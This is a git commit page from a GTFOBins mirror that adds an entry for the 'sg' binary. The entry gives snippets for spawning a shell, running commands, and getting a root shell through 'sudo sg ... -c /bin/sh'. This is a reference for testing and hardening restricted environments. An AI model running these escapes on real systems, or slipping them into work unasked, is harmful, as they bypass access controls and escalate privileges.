mirror/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
Code Issues

Create sg.md

Browse Source 
Adding the "sg" binary which allows command execution under a "different" group ID. However, it can be used to break out of restricted environments by using a user's own group ID.
This commit is contained in:
SleestakOverflow 2021-02-15 21:49:13 -06:00 committed by GitHub
parent aa018b04c4
commit 99a572b7d9
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 19 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

19
_gtfobins/sg.md Normal file
View File

@ -0,0 +1,19 @@
---
functions:
shell:
- description: Commands can be run if the current user's group is specified, therefore no additional permissions are needed.
code: |
GROUPNAME=users
sg $GROUPNAME -c "/bin/sh"
command:
- description: Commands can be run if the current user's group is specified, therefore no additional permissions are needed.
code: |
COMMAND=whoami
GROUPNAME=users
sg $GROUPNAME -c $COMMAND
sudo:
- description: Any group can be specified as the user will have root permissions.
code: |
GROUPNAME=users
sudo sg $GROUPNAME -c "/bin/sh"
---